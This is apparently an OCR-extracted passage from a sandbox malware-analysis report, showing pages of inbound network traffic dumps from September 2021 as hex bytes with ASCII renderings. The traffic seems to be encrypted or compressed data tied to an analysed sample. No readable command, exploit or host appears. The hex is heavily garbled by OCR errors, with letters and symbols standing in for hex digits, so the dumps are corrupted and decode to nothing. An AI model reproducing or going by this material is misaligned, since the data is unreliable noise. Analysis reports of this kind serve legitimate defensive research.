0801 08 fb 32 98 16 22 c9 fe 7e a5 f5 ec 8¢ 31 1d 20 4a cd 42 1a 94 bb b6 04 e2 85 29 c6 da 7c 1a 85 dd 73 70 53 61 7a
c7 e2 aa ac 89 cf 60 7e cd 09 42 dc 29 4f 65 8f 08 68 e2 de 62 6e Oe 8d 4f 01 a5 75 06 ec 89 Of cf 9e 17 e4 19 fa a4 39 ba
8f 46 05 62 7e 8e 16 cbh a5 d4 43 fb a0 13 7f 70 af 4a

Data Ascii: KVXE,2[**F8azZnH*)Z C-C>sn@9>:+cqZ)xGaD6i+jbXygp;e{'jB@Xah0O"2"~1 JB)|spSaz ~B)OehbnOu9Fb~CpJ
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:39 UTC 605 IN Data Raw: 5e Oa be 1f 91 d9 95 6e 70 7c fb d9 b8 el 18 69 92 29 33 d6 04 ea de 3d 64 8a a3 el a6 1f 1e 92 07 9c 4d 72
25 b8 d9 ff 9f f3 48 df ef e0 86 af 09 49 3f 8c cb f1 44 8a 31 35 08 14 4d 2a 11 23 d6 d5 c8 7e 5e 27 88 Oc 2f 17 4c c2 ef d7
8f c8 ec 2f 9f e2 61 15 f8 52 32 4c a8 d3 3e 2c 6e f4 7c cO bd 02 5e al 6a 88 f5 be 59 08 fe 9e 3c 3d 67 6b al 82 97 al 33
7f77 d3 5b 1d 1c 6a b1 04 03 a9 c9 68 6f 25 6a ba 75 85 ec 58 9d 1f 31 24 03 fb 75 Oc 70 cd 37 18 d3 4e 40 cc 2b 52 38
43 al 5a 24 94 08 fe ba c9 7f c8 e7 40 f7 91 39 8a bd 6d 80 39 5e 74 ea d1 08 67 82 bb Oc 61 62 fb 1c 52 27 {6 44 ae 39
6a 7916 1c a4 a9 e9 6 ce f3 bd a5 62 27 d5 6a 51 17 a8 b6 4b 89 25 8f 7b 46 74 3f 41 {8 4a bb e4 24 00 d1 5a Oe be 41
la 3d a3 14 9b 63 40 78 c1 90 55 f8 5d f1 90 01
Data Ascii: *np|i)3=dMr%HI?D15M*#~"/L/aR2L>,n|"Y<=gk3w[jho%juX1$up7N@+R8CZ$@9Im9*tgabR'Djyb'jQK%{Ft?
AJI$ZA=c@xV]

2021-09-28 07:53:39 UTC 609 IN Data Raw: dc 75 eb 7b 6 f8 74 d4 b4 71 86 €9 09 8e de 86 b8 {7 a7 ce 3a 0c c0 11 9b 71 a2 b8 53 94 79 €9 44 59 c9 91 0f
ed 81 99 f4 88 6a 69 1c c2 db 9d 8d 5a 8f 1b 39 Ob bc ae 80 8a 72 f1 43 5f 49 36 19 11 4a ef 71 89 bc 75 b9 ff 6a 79 37 6d
1d 71 d6 9c 6a a0 65 1b 7d 1c 3c 7c fe 55 77 0d 05 df 31 12 67 83 93 b9 18 6a 27 75 21 54 b0 bf 52 fe 3 5a 3 €5 7b 5a 6¢
7472 4e f8 86 1a 51 83 ce 50 9d ce bc 3d cd 19 06 c8 8e 5 e2 bd ed d7 b0 c6 8f f1 20 7f 9d 0d 4b 4a e8 b7 69 a5 07 aa 3f
22 5d e9 ec da 63 88 21 30 62 Oc 10 8d ed 73 db 87 f6 96 ab 86 39 59 c8 a7 f5 bb 1a 10 Oc 59 08 5b 07 56 a3 7d 60 00 52
ad 47 5a 57 91 6b 01 70 49 el 7c 92 ca 26 c9 a0 58 b7 eb 44 ae 3f b0 64 Oc de aa b0 1a 8c bf Ob c¢7 79 7c 8a 63 dO b9 36
b7 59 06 c3 5f e7 e7 85 85 ae 9b c4 e 6¢ b7
Data Ascii: u{tq:qSyDY;|iZ9rC_I6Jqujy7magje}<|Uw1gj'ulTRZ{ZItrNQP= KJi?"]c!0bs9Y Y[V} RGZWkpl|&XD?dy|c6Y_|

2021-09-28 07:53:39 UTC 613 IN Data Raw: ff a6 92 b0 65 e6 d6 9a 11 Oe 52 ab 88 09 ca 23 25 26 82 9e b8 7a 11 3c 8f b2 fa 11 11 33 fd 6f a5 2b 72 30 a3
65 cf 29 51 2e fa 07 ec ed 4d 98 Ob 3e 46 44 30 65 81 14 5e 9d aa ad 03 4e 19 9a 8c 48 b6 46 ac cf 46 20 51 a2 44 99 88
48 ¢1 08 74 51 al 65 3a Oc ac 44 f9 02 29 71 9 00 6a 8d a3 a0 1a 14 1c e6 29 ff 6b 69 a0 c8 8f 3f 17 d2 85 da c5 48 Oe
5e dc 77 9f 3a al 56 6a a5 67 6a 89 7b a0 5b e4 a5 15 79 d4 4a e3 76 37 17 ea e4 dd 13 02 a0 2f 7c al 63 f9 29 2c 7e b9
b6 d7 12 48 2d 82 3a 90 b4 Oe 4e a9 3b 8e aa 32 31 8b 7c 9b 86 19 07 15 28 87 e7 10 81 b6 21 3f 11 da f4 61 5¢ 46 cf 9a
d0 26 80 12 5f a8 9c cd eb 2f 83 3b 1c 72 c1 48 Oc €0 8d 83 25 70 73 99 dd 29 1a el 68 6d 3e 64 a8 f5 71 e5 54 ca c4 45
91 a3 6d de 81 4a ed fc d2 83 b2 8¢ 29 4e 41 18 15 41
Data Ascii: eR#%&z<30+r0e)Q.M>FD0e"NHFF QDHtQe:D)qj)ki?H w:Vjgj{[yJv7/|c),~H-:N;21|(!?a\F&_/;rH%ps)h
m>dgTEmJ)NAA

2021-09-28 07:53:39 UTC 617 IN Data Raw: c3 fa 35 11 6b c7 86 42 51 d9 47 1d 1e 9b 46 5d fb a0 2a e9 78 a4 c5 f4 60 70 07 01 99 fa a2 10 85 c4 e0 09 9f
57 d1 61 3a 7c 5f 4f 51 a9 33 83 42 92 ab el 7c 55 7f f2 fb f9 8a 21 c4 af 4b f3 c1 d7 ¢8 35 91 cb e4 68 d8 05 f1 1b 05 10
2e 2f 00 67 d9 el a3 d8 fb 83 61 aa 93 a3 b3 ea 4e 45 c8 75 ea 98 72 88 c2 44 9c f9 5¢ 1a 59 9d 8a db b0 d7 15 51 el dO
€6 65 c6 al ae be 63 f9 ea e3 15 1d 62 ¢3 d6 7b ae a2 1a 71 75 b5 f7 74 27 eb 30 d5 7f bb 34 f0 f3 65 30 1e a7 19 57 97
a2 6b 3a 3af2 1532 7c 9b al f0 ea ff 9d 75 b6 6e b6 d1 99 26 07 7a 31 8e 08 b7 ff 88 13 54 b8 ae ba 32 Ob f0 5¢ a9 22 06
2b 13 c1 24 ae da ec 72 6f 37 3a 51 c1 8c ee 9d b9 e6 4a 94 3e 2a 8b b8 {7 b6 25 6e 5a 2e 02 8f e3 €9 49 e0 03 c7 20 80
11 fb bd 15 c4 6b 90 a3 9e bd 1a 4c 97 5b d1 13
Data Ascii: 5SkBQGF]*x pWa:|_OQ3B|U!K5h./gaNEurD\Y Qecb{qut'04e0Wk::2|un&z1T2\"+$ro7:QJI>*%nZ.I kL[

2021-09-28 07:53:39 UTC 621 IN Data Raw: 2e 65 be b0 f8 46 17 73 82 48 b1 66 be c6 de df 59 c8 73 7e d5 3a 17 57 2b 12 Ob 73 36 55 b2 ef 5¢ Oc 66 48
40 ef ¢5 3b 04 78 10 6e 14 ff 84 df ¢8 3f 32 80 2b 4c 8d d1 70 57 8¢ 92 5¢ 74 de 42 al 72 dd cf 27 98 9a 4d 37 d5 Oe 55
1b Of 7d b4 95 bb 9b 2a ad 4f ef 69 bd 9d 86 cf fe 22 eb a6 a9 05 b8 48 40 df 5e 9c bd a5 14 a7 c2 8a dd 0d f8 b9 c6 35 68
3c 6e ba 88 a3 99 94 el e6 Of 33 46 c9 b0 94 57 75 16 b4 e5 bd f9 69 f8 49 45 3d c9 2d 3c 7a €9 70 8b c0 9f 70 fb 57 8b
2e 79 42 cc cd 56 ac 5 12 b6 ca 61 92 75 53 e3 df 87 9d 34 d4 b6 a5 c1 dc 88 2a f0 8b 99 3e b7 51 61 ¢9 d4 1a e8 c2 2
fe e6 d1 24 82 eb 6e 32 66 3d 30 8b 78 6e 79 27 c7 55 9e 6b 12 37 96 5d fc 97 c7 f6 30 f3 78 2e fd f8 c3 d5 66 ff 1e e6 fO
46 Oc cc 7a 5d 3b 70 f1 f9 59 20 19 cc 2b 1c d4 99
Data Ascii: .eFsHfYs~:W+s6U\fH@;xn?2+LpW\Br'M7U}*Oi"H@"5h<n3FWuilE=-<zppW.yBVauS4*>Qa$n2f=0xny'Uk7]
ox.fFz];pY +

2021-09-28 07:53:39 UTC 625 IN Data Raw: f9 16 c5 al fa b7 f9 58 b0 2f d5 97 83 ed 89 b7 2c 56 43 ae e9 b5 c2 82 e8 f4 58 ac 3a bd 9f 31 2b da c9 85 63
€4 8309 e608f3c4 7b a7 68 a5 d6 c3 dd 10 be 76 58 bf d7 e3 17 d2 10 fd 63 72 24 14 7 b6 c1 fb ce 66 a5 6d ee 78 00
97 1d f9 98 3e 6d 22 21 2f 33 3e 51 43 57 70 1a 20 €9 1a 94 le fa €3 20 b4 32 al c3 7 3f a2 8b ff 46 08 ab 62 e2 86 fd 90
e4 b2 ac 4b f2 4d 4 28 a6 70 ee 7d 26 3f 15 55 63 cc f4 08 72 21 f4 41 6d 55 03 b5 d1 90 78 d1 c1 54 00 2e 44 c4 6a 46
83 8d dd 3a 6d c0 58 38 cc 86 52 bc af e4 23 ec 2d 33 8b a0 ef 94 46 96 c2 f8 40 fd 5¢c 62 8b b9 ad bf 9b be ec ¢3 19 27
54 2d 8a ec 65 03 12 d5 78 dd d6 24 a3 5¢ 64 ¢3 78 5d 99 3a 94 35 d8 ac e8 3a 44 5b 5c 44 af c4 c5 b2 b2 8a f7 9b da 3f
a0 9e a2 e9 c0 48 6b 4a 16 76 35 f7 6d 24 3 8e 7e
Data Ascii: X/,VCX:1+c{hvXcr$fmx>m"l/3>QCWp 2?FbKM(p}&?Ucr!AmUXT.DjF:mX8R#-3F@\b'T-ex$\dx]:5:D[\D?H
kvsm$~

2021-09-28 07:53:39 UTC 629 IN Data Raw: 1d 79 ¢1 dd 81 8e aa a3 44 de a9 34 c4 27 a4 0a 9a f6 f2 36 99 ba 00 96 1e 44 4 Oc 9e bf b0 37 74 2e 6e 60 57
€9 27 €3 61 al do 72 5¢ 60 66 ca 2a fb ff 94 12 06 50 26 89 7c d4 4d 1f 94 04 1e 27 €6 79 87 b3 1e d5 b3 42 33 2a {6 79
83 29 11 8b b8 2c b7 f2 53 55 df €7 5¢ 90 94 15 ef 94 4a 30 ad ab bc d1 65 42 83 87 05 ¢6 ¢l 25 ea 1a 08 ba fa 95 6e 48
ed 00 08 54 2¢ ca 64 b2 ef 14 7 06 02 b4 ec e5 ae 18 10 6a 37 66 30 cb 40 64 2b f1 al 2f 57 86 fb b2 b7 db ¢9 bl bl 32
ef 2¢ b7 62 b0 4b ec 14 84 9f 72 82 f9 de 72 87 9d 2b ¢8 3d cf dc O fe 18 59 f9 7b d4 8d e fd 37 01 c1 e0 c7 10 8a 37 23
29 87 8d a0 3e a0 6 b0 7b 56 cO d6 4f 50 fd ac b4 6a e3 cd 9f 8f 5d 3d 9b 72 81 50 94 cc 48 47 81 ed c1 d4 34 9c 88 21
72 d9 2¢ b8 63 d5 09 f1 66 89 22 7c 8e 54 62 93 d5
Data Ascii: yD4'6D7t.n"W'ar\ f*P&|M'yB3*y),SU\J0eB%nHT,dj7f0@d+/W2,bKrr+=Y{77#)>{VOPj|=rPHGA!r cf|Tb

2021-09-28 07:53:39 UTC 633 IN Data Raw: 12 10 ab 9a dc f4 ec 46 69 b2 bf ef 96 1a 5d 66 48 02 1d b2 64 4d 92 99 fa aa c8 fa a0 fb 3a bf 82 8c af 44 f2 16
48 42 97 00 e5 3b 88 61 42 88 1f eb 6a 41 €9 b2 f6 c9 86 €9 6e 3e 29 fe 3f 2e 62 33 1d 7a c7 c0 49 d5 42 7a 9f 75 07 ad
4a 5¢c d9 b7 01 71 ca e3 ea b0 75 b4 3f c6 4e c3 c5 65 85 df ac fb a6 7b ba ad d7 26 88 1c 40 75 le 61 d2 93 bd 2e eb a7
09 4c 36 d4 df 7c 94 13 93 46 7 f5 04 7f 18 ee 81 e0 04 4c d6 08 ad 8b aa 25 ef ac 77 33 92 16 5a 81 3f 82 55 2b b2 c9 f3
8c 2c 1f 84 17 4b a4 a3 b2 b5 d5 7f 65 4a 1d Oc d8 57 de 2d 9c 2a 8a 8b 20 f6 60 00 8b 5a 46 96 4d c2 8a 65 95 d2 36 f1
cedc 17 f3 el 34 49 dO f6 33 79 2a ff 3d 67 75 4a f5 a7 75 4d 21 b9 5b 52 44 94 83 6¢ a5 2e 50 b9 6a 23 ee 51 d1 7e aa
7f 33 d4 4b a8 6e c8 30 93 4a a8 37 6b 68 €8 64
Data Ascii: FilfHdM:DHB;aBjAn>)?.b3zIBzud\qu?Ne{&@ua.L6|FL%W3Z?U+,KeJW-* *ZFMe64I3y*=guJuM![RDI.Pj#Q
~3Kn0J7khd

2021-09-28 07:53:39 UTC 637 IN Data Raw: 3d 79 e8 7e d8 af 46 b6 d6 22 c6 d3 7d e0 e5 bb 6b 62 f1 6e a0 59 01 1b 87 88 a7 3e Oc 5f cc ae 5b 26 1la d5
cach0ael 6c d7 66 22 d5 da 4f 62 b5 91 db 9e 91 b4 9a 7f 48 a4 f1 86 7d 47 04 66 9c cc ac f5 f3 18 d8 46 73 d9 2a 81
91 28 11 52 87 e6 3e 6f 1a fd 5a c4 c4 Oc 1f b9 5f af 3a 7d d3 72 9a ec e3 10 87 c¢7 5b 0f 47 d6 95 3b 49 b5 a2 12 2b db
6e 1c a5 a6 a3 34 7a 33 cd ab a7 Ob ¢9 61 c9 3f 66 85 83 87 5a eb 82 6d d1 65 18 97 e5 19 62 92 96 3b 2b 7f e7 e0 6¢ be
44 dd 45 15 4b 7f 39 cb ef 92 6¢ 11 cf c2 e2 Ob 9b d8 8d 64 80 59 bb 39 c0 08 3b c9 eb 3a b5 bd 70 b1 a3 69 8a 00 04 dO
6¢ df 54 22 8c b6 50 ee cl da dc 54 12 2f d6 bb 76 f2 09 22 72 9e 03 77 f4 23 ca 60 f9 6e fd 3e 26 8b 1f 5a fc el 24 11 1c
5d cc bc 1d d9 8e 4b eb 18 93 4d 24 a3 fe 47 99 aa 45
Data Ascii: =y~F"}kbnY>_[&If'ObH}GfFs*(R>0Z_:}r[G;+n4z3a?fZmeb;+IDEKOIAY9;:pil T"PT/V"rw# n>&Z$]|KM$GE
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:39 UTC 641 IN Data Raw: 02 66 4f e2 bd 5a df Ob e6 c5 3b f2 66 24 82 90 92 bf 42 a9 36 11 8b 31 25 49 b0 79 0a 95 d7 f6 25 59 ee 4a 1b
1f 6b 9e 92 e8 13 8b c0 30 4b a5 c0 65 1d 00 68 b1 38 99 c7 3b fd 78 e5 11 Ob 82 c7 6a 89 ce fa 59 5f 21 42 b7 b8 e9 f6
26 7f 4a Oa 3f €3 b6 06 be f0 21 65 67 b2 67 3a 97 al c4 4c 2f 9d €8 4b a0 cb Ob 9c 3b e3 7 d7 34 29 9f 0d e8 64 43 67 cC
47 c4 09 81 94 5¢ 40 d9 6a 62 1d 59 0d 6a c1 c9 48 d7 c8 ef de 70 b5 b4 82 34 8d 45 d4 b1l 94 aa f1 d7 73 60 b4 ea 60 Oa
a9 a3 02 6f 3a a6 83 fa 1a db 5f 3c 14 Oe 63 fc 79 70 1a 42 21 2a e2 34 b0 df ce 5d 1d 16 de 14 e2 cf b0 1f b1 aa c4 26 4e
5d ca ae d9 02 7d 17 73 39 9b 95 44 df 66 6d c8 52 37 b1 70 ce bd ff b3 9e 0d 15 97 fe a2 77 87 86 88 72 12 88 a2 8c 96
64 19 cd €8 42 94 0b 4d 1b 51 07 80 95 da f4 7f
Data Ascii: fOZ;f$B61%Ily%YJkOKeh8;xjY_!B&J?!egg:L/K;4)dCgG\@jbYjHp4Es  0:_<cypB!*4]&N]}s9DfmR7pwrdBMQ

2021-09-28 07:53:39 UTC 645 IN Data Raw: 58 b5 09 2e fb 46 6¢ 82 56 9c 41 85 1e dd 99 34 18 08 7b 48 88 98 Oe b6 2e 6a bb ee 79 32 d3 1d 84 16 fb 59
10 14 47 4e 39 4c 45 €9 66 d4 90 66 76 a5 5c 5e 2f c5 4a aa 97 76 06 b3 bc 36 14 1d dc c2 86 cb cc 73 b9 9b 92 dc bl 9¢c
e7 2a 5f cc ¢8 93 95 ab 3a 5a 11 ff b9 bf bd 49 20 2d 46 d1 9b 0a f8 9c 44 c9 b7 97 16 d6 00 27 ac c2 50 6a 40 1e 92 1le
38 ab 37 b9 23 71 11 da 7c a2 a4 08 54 4f 8b 9e al bc da 88 32 fe 9d ch cbh 02 78 64 6b 04 19 ce 83 db fa b5 54 5e el 07
ca213b9a48b4837c163ef05279c9al38b2c12707b720f3117 b2 b9 5e ab cb f1 96 fa cc 64 8f fe a5 0d bf ee 21
48 af 64 b7 c0 36 c¢3 d7 c0 4f 9e b2 a2 72 6e 60 42 a6 92 8b 3a c6 2b 79 Of e5 14 ba 78 28 63 60 82 d3 72 ac 0d ff 95 da
ca bf 5d 03 ee 10 fe e0 60 a4 d8 b7 fd e8 9d 34 23 f2
Data Ascii: X.FIVA4{H.jy2YGNILEffW\/Jv6s*_:ZI -FD'Pj@87#q|TO2xdkT";H|>Ry,p{r1*d!Hd60rn B:+yx(c'r] 4#

2021-09-28 07:53:39 UTC 649 IN Data Raw: 1c 7e 72 e1 d8 1e c7 3e a9 b6 9e 62 b9 13 5b 1c d7 9c 02 a3 c0 04 a8 19 b7 66 77 fb 2a b6 cc c2 fb a7 ca e7
8f 22 83 7e 39 a0 32 8d 1d 66 a6 77 05 11 e7 9a 49 7a 27 fe dc d5 c8 58 8b 6a da da 34 6¢ 1b 24 9b 6f €0 ce a6 44 99 6e
8457 12 b0 00 aa 30 ¢8 71 03 b0 23 48 10 83 05 cd 66 13 cO €0 42 6d 6a 22 82 46 6e 7e 92 dd 69 a3 5d 2a 5d 7a 90 3e
05 ee da 42 9a 92 8e Ob a9 d1 33 29 26 c4 73 9a 08 fb 94 05 84 3c 96 c4 aa 76 52 bc 22 de 66 fb c7 5 2a 19 9a af 61 Of
e5 2b a5 a8 13 56 7c b6 90 ea 3b 7b 61 6e 57 6e ba bf 96 cf 50 d6 32 48 ac 55 97 2b 21 ba b6 1d 4d 2a a9 56 04 a7 3c fd
52 fa 9c 60 7e 09 45 a8 e5 49 b1 57 03 4a fd 14 ee 97 42 f0 ¢8 3e 59 7b 03 c1 87 76 7 b6 aa 9c a0 53 Ob aa df 2f e5 fO db
99 26 ba €3 52 be 0b 02 6d db 74 9e a4 71 e7 ab 77 7d 75
Data Ascii: ~r>b[fw*"~92fwlz'Xj4l$oDnWO0g#HfBmj"Fn~i]*]z>B3)&s<vR"f*a+V|;{anWnP2HU+!M*V<R ~EIWJB>Y{vS
/&Rmtqw}u

2021-09-28 07:53:39 UTC 653 IN Data Raw: bc eb 9f be 75 1f 56 b4 23 43 42 f0 ac a7 11 66 2d 8b 88 be 98 fb 66 f9 eb 72 ad 97 02 e0 89 91 85 a5 24 e4 07
04 31 7f f5 b9 ¢8 b1 7f {3 fa df 8b 46 9c 48 7b ec 4e 20 c1 ea c9 ce e6 c2 52 e7 9f bb 89 c1 2e 80 e7 5¢ 63 7e 6e f5 c9 91
01 f9 2e c4 35 5¢ 1a b3 65 54 91 5f 00 93 6a 81 55 6b bf 92 ce 8a ac Oc 2d eb ea a7 74 c9 7e 3d 40 7f 63 21 8 3f 8a 4¢c 90
78 8f 2¢c 39 5a b1 d5 81 6f 66 8e cd d6 e3 dd 06 5b 3d fd 75 7c Oc d9 8b 10 49 1e 67 f8 dd 7 f4 f9 87 c6 6a e5 el f9 {7 cd
e532eaa2119d7c9cd538eec8711leeb76d7 87 35al bc cd b3 1f e6 Oe d5 cf 50 7¢ bf 1d ¢9 e0 f1 7c c8 a7 39 Oe
db 5e 6e f1 ca 7b 2c df d8 64 €3 33 72 02 f9 03 31 18 d7 31 a9 b0 a6 fb 4d 9e 1c 4e 3d 1d 46 6a 62 79 6f 4b a7 b0 al 09
59 8¢ 99 la ae bd 12 2¢ 56 62 d7 ef 61 8¢ 37
Data Ascii: uV#CBf-fr$1FH{N R.\c~n.5\eT_jUk-t~=@c!?Lx,9Zof[=ullgj2|8qv5P||9"n{,d3r11MN=FjbyoKY,Vba7

2021-09-28 07:53:39 UTC 657 IN Data Raw: 58 55 20 f4 3e 70 ee 38 bd 70 30 09 d3 93 66 23 62 c3 68 8e f1 71 41 82 fe 12 e2 06 b6 00 65 98 67 5a 4d 8f f5
2a 23 01 ff f1 34 d1 Ob 8¢ 96 08 Oa ac ec 33 88 29 72 22 1b 91 06 44 70 bc 61 dc 37 87 56 76 90 8f f0 97 fe d7 5b 0f 57 8
fc db f2 89 el f2 32 19 4b 0d 39 fe 9f 36 a7 93 8f d6 fO a8 99 f2 18 88 7 10 b4 c8 06 a4 50 7b 2f bb f4 8f d6 19 9f 80 b8 Ob
e4 65 58 35 d3 1f bd f7 fc f1 1e 4f a8 e7 00 5f a8 3e 83 6f 25 37 98 3 9a e8 ef ae e2 58 29 bb 52 0d 77 ac b4 c7 1f 8c 13
ab df dO ef Of f9 ff ae c5 3f 06 91 fe 57 3f c1 b6 8d 99 67 60 2b 13 ba 55 14 22 e7 94 c5 a5 bf 28 c2 de df 6a 96 bf f3 ad 75
74 f2 fe 8c ff 37 80 6d a0 f5 b5 23 7b 0f b4 30 e5 c9 5b 9e 4b cO df 1f 37 26 2¢ f8 1b 7e c2 51 f5 9f 8b 1b 12 2f fc 2b ad a6
a9 c7 6b e5 8d 1c f4 Oe e8 17
Data Ascii: XU >p8p0f#bhgAegZM*#43)r"Dpa7VVv[W2K96P{/eX50_>0%7X)Rw?W?g +U" (jut7m#{0[K7&,~Q/+k

2021-09-28 07:53:39 UTC 661 IN Data Raw: c5 ea 51 75 24 27 3a 38 c9 7c a3 c7 ab aa 24 83 34 9b Ob 4e 7a 25 5c ac 94 01 1c a0 2a f4 e8 90 fc 18 1b bb
c2 ab 29 8b be 50 45 c6 e6 0f 7c 94 92 4d 1c 09 d5 a9 be e7 21 4e f5 40 20 48 40 94 d4 2d d4 1a 39 Of 6f 4f 7d 25 69 f5
77 ee 80 60 67 f2 47 76 ae 6b c2 3f 29 2¢ 59 c0 21 08 1a b4 a3 14 fa 71 64 79 42 3d b5 61 44 b9 fb 3b 40 eb €9 2¢ 57 b9
dc d3 3e 6b f4 7c 7a 9b db 9a 1a 1d 75 10 7f 08 28 48 5d 3a 2e 99 9e 27 7f b2 27 3f Of 61 b5 e0 2a f0 44 cc c0 77 51 el
da 66 b0 17 6¢ b4 97 8e 64 14 a0 f7 27 55 03 3b ac ¢6 48 b9 9a b0 46 c5 54 0d 18 e6 47 10 6e e5 a7 1c b8 47 bd 9c fc dc
8b 79 a6 ce 6a 8d 1c c7 f1 b6 67 71 c2 b5 4b 11 c1 6b 1e 12 95 ba 57 58 11 ec 9d bf dd e9 c6 37 3b 89 16 60 e4 93 d3 8d
dc 18 97 cd 07 al 64 f4 a2 93 ¢7 2d 36 ed Oc 6a 33 2b a3
Data Ascii: Qu$":8|$4Nz%\*)PE[MIN@ H@-900}%iw gGvk?),Y!qdyB=aD;@,W>k|zu(H]:."?a*DwQfld'U;HFTGnGyjgq
KKWX7; d-6j3+

2021-09-28 07:53:39 UTC 665 IN Data Raw: 23 81 56 d0 e6 19 29 ac 8b 8c 64 d4 cb 48 ca 1a 14 34 €0 3d a2 e2 ad 35 89 62 71 87 99 51 71 69 5a 44 f2 14
4 f4 34 4a 12 7d a6 4a b4 33 2d 81 2e ed 04 06 53 f9 ee al a9 b0 9f 2¢ 42 6a 70 10 le Oc f7 a7 e6 26 bl 8c 68 d1 bl 8b
92 ca 22 a4 al f7 13 da fc 66 Ob 9e 3f b3 4f 75 7c 1e 92 49 28 fc 97 eb 96 b2 4e 49 20 6a eb fd d9 4e b5 a4 c0 d8 8d 3c ca
bb 6b ad d1 8d 6¢ e8 7a 2d c0 62 42 20 5¢ 75 ba b5 32 ac f9 00 ff ed 09 e9 6b 54 77 Oc b6 d7 51 21 d4 bd 77 al dc 33 2f
3b b7 16 da af 53 48 ae ce 0d ca 2d 02 8a 42 b9 27 97 b3 23 4c 2f 12.¢9 70 77 31 70 84 b8 e5 94 07 61 35 37 54 97 4e f8
3c 16 fd 54 85 c3 df 32 70 d5 b8 38 c9 58 e8 93 61 77 ae 57 7f Of 9b ab 7c bl 1e 4c 04 23 2b b2 51 70 5b 03 66 7c 0d de
af 3d a2 2a ae ad 75 57 92 4b ab c6 94 6b f7 ad ec el
Data Ascii: #V)dH4=5bqQqizD4J}J3-.S,Bjp&h"f20ulI(NI jN<kiz-bB \u2kTwQ!w3/;SH-B*#L/pw1pa57 TN<T2p8XawW
|L#+Qpl[f|=*uWKk

2021-09-28 07:53:39 UTC 669 IN Data Raw: d0 06 54 51 34 7f 3c 76 8f 19 0a Oe 09 9a 14 61 bb 00 20 bd 20 9f Oe ca ec ed 77 e4 b0 44 98 96 19 b3 d5 b9
6b 02 ff c2 64 d7 f3 2a ae a4 f6 fe dd 54 7d Ob 10 91 fe 50 9b bf 6e f9 67 d3 7a 4a d4 44 13 c3 f6 97 2e 13 04 e3 b7 fe fc d9
fc 30 9e fb e4 91 57 cd ec 8¢ 2f 7f d6 36 5b 3e 48 b4 86 8d 20 cc 02 85 1c 2a 2a 78 a6 d5 db 98 b0 a5 97 6f 85 b7 d7 51 ff
40 d9 44 e9 a3 8b e5 1a 4e de e8 6b b7 9b e0 el 3c fb 89 9a 94 83 31 €3 27 89 1b 07 ee 7f e5 13 01 dd b3 02 {7 6¢ f7 3¢
dc f4 91 ¢3 69 89 73 ee fa 91 14 €9 92 96 42 b6 2a €9 90 5e 09 8e d9 1a d6 1c 8e Oc 65 64 6d ed 71 df cc 8f 89 f6 3b 3d 3f
aa 9a df f3 a6 f5 a4 1a 71 3b 84 cd 2b d7 86 19 46 96 fO c2 5b b7 b0 92 9d d3 8e 32 ae fa dd d9 21 aa 96 4f d5 3f 69 52 7e
bb f0 2e 10 6¢ 4a 9e 87 76 37 19 36 c7 5¢
Data Ascii: TQ4<va wDkd*T}PngzJD.0W/6[>H **x0Q@DNKk<1'l<isB**edmq;=?q;+F[2!O0?iR~.IJv76\

2021-09-28 07:53:39 UTC 673 IN Data Raw: 38 fb 1f 3e d6 12 74 c0 a3 92 ce 7f 43 97 de ec 62 d5 73 20 f9 21 9e 95 98 3d cc dd d8 20 ef ae 52 b4 38 d0 01
fc 53 4c 3e 76 88 71 0d 84 5f 14 3e 4b ca 31 43 3b f8 8d 51 17 2e 3c 24 e8 b9 cd ce 2c b6 68 ab 7b 7 2d €3 11 97 99 2¢
cc b2 ff b0 8b 4f d1 6d cd d9 bl 55 ff 2e 06 43 4b b6 f4 93 53 a2 dc 06 a2 fa c5 b4 89 65 17 78 20 b7 bd 83 3f f4 e5 d8 2¢
1d 83 26 6f e4 6¢ 52 ee 03 81 41 5b cd 66 ed 7c f8 5 8b 71 ba 79 a0 63 b1 9b cd 54 39 63 f5 78 43 1b 98 a0 45 f5 d9 92
ca 61 bl 8f 1d f8 25 3f 4b ¢7 42 2e 70 f8 17 aa 13 fe c4 21 a3 14 b6 dd 67 35 6e ff 9b ce 62 ac 56 b4 88 81 27 82 b5 fc e7
€8 86 ce 37 ae 87 3a le a2 8b a8 42 ec d2 fe 2e 4d b3 4e 7e 56 b3 c6 76 93 2¢ 70 11 82 53 82 6d 7e a0 3a 89 50 68 af 13
do fO 69 24 cf Oe 8a f0 36 40 9¢ 57 11 95 ca 62
Data Ascii: 8>tCbs != R8SL>vq_>K1C;Q.<$,h{-,OmU.CKSex ?,&0IRA[f|qycTIcxCEa%?KB.p!g5nbV'7:B.MN~Vv,pSm
~:Phi$6@Wb

Copyright Joe Security LLC 2021 Page 104 of 149



kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:39 UTC 677 IN Data Raw: 5e 92 c3 8b be 6a 6a c9 7e 96 e0 93 4d 70 03 08 d8 1e 74 cO df 0d 9e 6a 07 c1 44 90 ac 11 e7 ea ff 2f 3e e8
59 05 83 35 4d 6 cd 4e 52 12 60 6b 71 fe bb aa 04 32 5¢ 37 3c 2f 67 6e 4d 92 65 92 01 19 b5 3b 1d 05 8b dd cf 19 {3 39
48 6¢ c7 c0 ae b0 ea ba 0f 88 1c 73 95 c6 2c 61 28 00 94 3c df 21 42 b5 3b 45 fb 21 78 5b eb de 1f bl 66 8d 3a d3 69 bf
2e ab d8 ac f1 47 5c¢ 58 {7 40 63 fb 31 5e 09 70 6a 12 a0 a4 05 d1 26 40 3b f2 ab 86 20 13 c1 Oc 09 c2 61 d1 f5 b4 c3 68
2c ad d3 bf b7 40 7d 06 c9 e5 3c 07 ae 39 5b 62 03 94 52 2d 3f 87 5b 47 6a cb 27 64 3e 1b 81 2b 92 8d ad b8 c9 f5 06 5e
1b 73 1c al 94 60 16 25 67 06 ad 53 58 d8 fO b5 8a b0 79 1e c9 22 ed 2b b4 1d a7 80 c4 53 2b 66 8a cc 86 97 23 12 63
77 be 41 00 c7 79 97 3a 81 e5 ee 03 28 5d c3 ca d9 43 b9 69
Data Ascii: "jj~MptjD/>Y5MNR kqg2\7</gnMe;9HIs,a(<!B;E!X[f:ii.G\X@c1"pj&@; ah,@}<9[bR-?[Gj'd>+"s %gSXy
"+S+f#tcwAy:(]Ci

2021-09-28 07:53:39 UTC 681 IN Data Raw: f9 f3 1d 34 07 33 2a 54 eb ee b3 d2 Oc 8a 58 68 e4 a8 24 59 54 69 b3 5e f1 47 5f bb dd 81 82 8f ce 32 6b d3 56
e8 dc a0 e6 65 d1 33 54 1b 4d 16 e2 41 ad 80 db ff 6f 10 cc c7 5a cc 79 da 4f f5 d5 be 7d dc 39 53 9f 94 43 69 a5 e2 13 0b
